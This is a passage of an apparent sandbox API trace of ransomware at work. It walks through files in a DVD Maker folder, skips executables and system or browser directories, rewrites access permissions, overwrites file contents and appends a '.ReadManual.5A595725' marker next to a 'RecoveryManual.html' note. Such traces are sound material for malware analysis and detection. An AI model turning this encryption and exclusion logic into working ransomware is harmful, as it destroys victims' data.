Maker\\Shared\\DvdStyles\\rectangle_scrapbook_Thumbnail.bmp" [0254.257] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_scrapbook_Thumbnail.bmp", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_scrapbook_Thumbnail.bmp.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_scrapbook_Thumbnail.bmp.ReadManual.5A595725" [0254.257] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_scrapbook_Thumbnail.bmp.ReadManual.5A595725") returned 101 [0254.257] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37492581939) returned 1 [0254.257] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_scrapbook_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_scrapbook_thumbnail.bmp")) returned 0x20 [0254.258] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_scrapbook_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_scrapbook_thumbnail.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.258] GetLastError () returned 0x5 [0254.258] GetNamedSecurityInfoW () returned 0x0 [0254.258] SetNamedSecurityInfoW () returned 0x0 [0254.258] SetNamedSecurityInfoW () returned 0x0 [0254.259] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_scrapbook_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_scrapbook_thumbnail.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0254.259] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5072) returned 1 [0254.259] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13d0, lpName=0x0) returned 0x184 [0254.259] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xda) returned 1 [0254.260] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.260] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0254.261] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0254.261] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13d0) returned 0x2f0000 [0254.262] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.262] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37493045686) returned 1 [0254.262] CloseHandle (hObject=0x184) returned 1 [0254.262] SetSecurityInfo () returned 0x5 [0254.262] SetSecurityInfo () returned 0x5 [0254.262] LocalFree (hMem=0x674d38) returned 0x0 [0254.262] CloseHandle (hObject=0x194) returned 1 [0254.263] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb59d23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb59d23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rectangle_specialocc_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0254.263] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="rectangle_specialocc_Thumbnail.bmp" | out: lpString1="rectangle_specialocc_Thumbnail.bmp") returned="rectangle_specialocc_Thumbnail.bmp" [0254.263] lstrcmpiW (lpString1="rectangle_specialocc_Thumbnail.bmp", lpString2="RecoveryManual.html") returned 1 [0254.263] StrStrIW (lpFirst="rectangle_specialocc_Thumbnail.bmp", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.263] StrCmpIW (psz1="bmp", psz2="exe") returned -1 [0254.263] StrCmpIW (psz1="bmp", psz2="dll") returned -1 [0254.263] StrCmpIW (psz1="bmp", psz2="sys") returned -1 [0254.263] StrCmpIW (psz1="bmp", psz2="msi") returned -1 [0254.263] StrCmpIW (psz1="bmp", psz2="mui") returned -1 [0254.263] StrCmpIW (psz1="bmp", psz2="inf") returned -1 [0254.263] StrCmpIW (psz1="bmp", psz2="cat") returned -1 [0254.263] StrCmpIW (psz1="bmp", psz2="bat") returned 1 [0254.263] StrCmpIW (psz1="bmp", psz2="cmd") returned -1 [0254.263] StrCmpIW (psz1="bmp", psz2="ps1") returned -1 [0254.263] StrCmpIW (psz1="bmp", psz2="vbs") returned -1 [0254.263] StrCmpIW (psz1="bmp", psz2="ttf") returned -1 [0254.263] StrCmpIW (psz1="bmp", psz2="fon") returned -1 [0254.263] StrCmpIW (psz1="bmp", psz2="lnk") returned -1 [0254.263] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_specialocc_Thumbnail.bmp" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_specialocc_Thumbnail.bmp") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_specialocc_Thumbnail.bmp" [0254.263] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_specialocc_Thumbnail.bmp", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_specialocc_Thumbnail.bmp.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_specialocc_Thumbnail.bmp.ReadManual.5A595725" [0254.263] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_specialocc_Thumbnail.bmp.ReadManual.5A595725") returned 102 [0254.263] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37493193812) returned 1 [0254.263] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_specialocc_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_specialocc_thumbnail.bmp")) returned 0x20 [0254.263] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_specialocc_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_specialocc_thumbnail.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.263] GetLastError () returned 0x5 [0254.264] GetNamedSecurityInfoW () returned 0x0 [0254.264] SetNamedSecurityInfoW () returned 0x0 [0254.264] SetNamedSecurityInfoW () returned 0x0 [0254.265] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_specialocc_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_specialocc_thumbnail.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0254.265] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5072) returned 1 [0254.265] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13d0, lpName=0x0) returned 0x184 [0254.265] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xdc) returned 1 [0254.265] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.266] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0254.267] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0254.267] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13d0) returned 0x2f0000 [0254.267] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.268] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37493632157) returned 1 [0254.268] CloseHandle (hObject=0x184) returned 1 [0254.268] SetSecurityInfo () returned 0x5 [0254.268] SetSecurityInfo () returned 0x5 [0254.268] LocalFree (hMem=0x674d38) returned 0x0 [0254.268] CloseHandle (hObject=0x194) returned 1 [0254.268] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb7fe80, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb7fe80, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rectangle_travel_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0254.268] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="rectangle_travel_Thumbnail.bmp" | out: lpString1="rectangle_travel_Thumbnail.bmp") returned="rectangle_travel_Thumbnail.bmp" [0254.268] lstrcmpiW (lpString1="rectangle_travel_Thumbnail.bmp", lpString2="RecoveryManual.html") returned 1 [0254.268] StrStrIW (lpFirst="rectangle_travel_Thumbnail.bmp", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.268] StrCmpIW (psz1="bmp", psz2="exe") returned -1 [0254.268] StrCmpIW (psz1="bmp", psz2="dll") returned -1 [0254.268] StrCmpIW (psz1="bmp", psz2="sys") returned -1 [0254.268] StrCmpIW (psz1="bmp", psz2="msi") returned -1 [0254.268] StrCmpIW (psz1="bmp", psz2="mui") returned -1 [0254.268] StrCmpIW (psz1="bmp", psz2="inf") returned -1 [0254.268] StrCmpIW (psz1="bmp", psz2="cat") returned -1 [0254.268] StrCmpIW (psz1="bmp", psz2="bat") returned 1 [0254.268] StrCmpIW (psz1="bmp", psz2="cmd") returned -1 [0254.268] StrCmpIW (psz1="bmp", psz2="ps1") returned -1 [0254.268] StrCmpIW (psz1="bmp", psz2="vbs") returned -1 [0254.268] StrCmpIW (psz1="bmp", psz2="ttf") returned -1 [0254.268] StrCmpIW (psz1="bmp", psz2="fon") returned -1 [0254.268] StrCmpIW (psz1="bmp", psz2="lnk") returned -1 [0254.268] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_travel_Thumbnail.bmp" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_travel_Thumbnail.bmp") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_travel_Thumbnail.bmp" [0254.268] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_travel_Thumbnail.bmp", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_travel_Thumbnail.bmp.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_travel_Thumbnail.bmp.ReadManual.5A595725" [0254.268] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_travel_Thumbnail.bmp.ReadManual.5A595725") returned 98 [0254.269] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37493728687) returned 1 [0254.269] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_travel_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_travel_thumbnail.bmp")) returned 0x20 [0254.269] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_travel_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_travel_thumbnail.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.269] GetLastError () returned 0x5 [0254.269] GetNamedSecurityInfoW () returned 0x0 [0254.269] SetNamedSecurityInfoW () returned 0x0 [0254.269] SetNamedSecurityInfoW () returned 0x0 [0254.270] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_travel_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_travel_thumbnail.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0254.270] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5072) returned 1 [0254.270] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13d0, lpName=0x0) returned 0x184 [0254.270] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd4) returned 1 [0254.271] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.271] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0254.273] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0254.273] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13d0) returned 0x2f0000 [0254.273] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.273] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37494173616) returned 1 [0254.273] CloseHandle (hObject=0x184) returned 1 [0254.273] SetSecurityInfo () returned 0x5 [0254.273] SetSecurityInfo () returned 0x5 [0254.273] LocalFree (hMem=0x674d38) returned 0x0 [0254.273] CloseHandle (hObject=0x194) returned 1 [0254.273] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb7fe80, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb7fe80, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rectangle_widescreen_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0254.273] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="rectangle_widescreen_Thumbnail.bmp" | out: lpString1="rectangle_widescreen_Thumbnail.bmp") returned="rectangle_widescreen_Thumbnail.bmp" [0254.273] lstrcmpiW (lpString1="rectangle_widescreen_Thumbnail.bmp", lpString2="RecoveryManual.html") returned 1 [0254.273] StrStrIW (lpFirst="rectangle_widescreen_Thumbnail.bmp", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.273] StrCmpIW (psz1="bmp", psz2="exe") returned -1 [0254.273] StrCmpIW (psz1="bmp", psz2="dll") returned -1 [0254.274] StrCmpIW (psz1="bmp", psz2="sys") returned -1 [0254.274] StrCmpIW (psz1="bmp", psz2="msi") returned -1 [0254.274] StrCmpIW (psz1="bmp", psz2="mui") returned -1 [0254.274] StrCmpIW (psz1="bmp", psz2="inf") returned -1 [0254.274] StrCmpIW (psz1="bmp", psz2="cat") returned -1 [0254.274] StrCmpIW (psz1="bmp", psz2="bat") returned 1 [0254.274] StrCmpIW (psz1="bmp", psz2="cmd") returned -1 [0254.274] StrCmpIW (psz1="bmp", psz2="ps1") returned -1 [0254.274] StrCmpIW (psz1="bmp", psz2="vbs") returned -1 [0254.274] StrCmpIW (psz1="bmp", psz2="ttf") returned -1 [0254.274] StrCmpIW (psz1="bmp", psz2="fon") returned -1 [0254.274] StrCmpIW (psz1="bmp", psz2="lnk") returned -1 [0254.274] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_widescreen_Thumbnail.bmp" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_widescreen_Thumbnail.bmp") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_widescreen_Thumbnail.bmp" [0254.274] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_widescreen_Thumbnail.bmp", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_widescreen_Thumbnail.bmp.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_widescreen_Thumbnail.bmp.ReadManual.5A595725" [0254.274] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_widescreen_Thumbnail.bmp.ReadManual.5A595725") returned 102 [0254.274] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37494272391) returned 1 [0254.274] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_widescreen_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_widescreen_thumbnail.bmp")) returned 0x20 [0254.275] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_widescreen_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_widescreen_thumbnail.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.275] GetLastError () returned 0x5 [0254.275] GetNamedSecurityInfoW () returned 0x0 [0254.275] SetNamedSecurityInfoW () returned 0x0 [0254.276] SetNamedSecurityInfoW () returned 0x0 [0254.276] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_widescreen_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_widescreen_thumbnail.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0254.277] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5072) returned 1 [0254.277] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13d0, lpName=0x0) returned 0x184 [0254.277] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xdc) returned 1 [0254.277] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.277] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0254.280] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0254.280] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13d0) returned 0x2f0000 [0254.280] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.280] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37494924289) returned 1 [0254.281] CloseHandle (hObject=0x184) returned 1 [0254.281] SetSecurityInfo () returned 0x5 [0254.281] SetSecurityInfo () returned 0x5 [0254.281] LocalFree (hMem=0x674d38) returned 0x0 [0254.281] CloseHandle (hObject=0x194) returned 1 [0254.281] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa12338ef, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ResizingPanels", cAlternateFileName="RESIZI~1")) returned 1 [0254.281] lstrcpyW (in: lpString1=0x69b8fc, lpString2="ResizingPanels" | out: lpString1="ResizingPanels") returned="ResizingPanels" [0254.281] lstrcatW (in: lpString1="ResizingPanels", lpString2="\\" | out: lpString1="ResizingPanels\\") returned="ResizingPanels\\" [0254.281] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\", lpSrch=":\\Windows\\") returned 0x0 [0254.282] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0254.282] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0254.282] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0254.282] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\", lpSrch=":\\WINNT") returned 0x0 [0254.282] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0254.282] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\", lpSrch=":\\Windows.old\\") returned 0x0 [0254.282] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\", lpSrch=":\\PerfLog\\") returned 0x0 [0254.282] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\", lpSrch="\\WindowsApps\\") returned 0x0 [0254.282] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0254.282] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0254.282] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0254.282] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0254.282] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0254.282] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0254.282] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0254.282] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\", lpSrch="\\Windows Defender\\") returned 0x0 [0254.282] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\", lpSrch="\\microsoft shared\\") returned 0x0 [0254.282] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0254.282] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0254.282] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0254.282] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0254.282] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0254.282] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\", lpSrch="\\Tor Browser\\") returned 0x0 [0254.282] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0254.282] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\") returned 63 [0254.282] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Program Files\\DVD 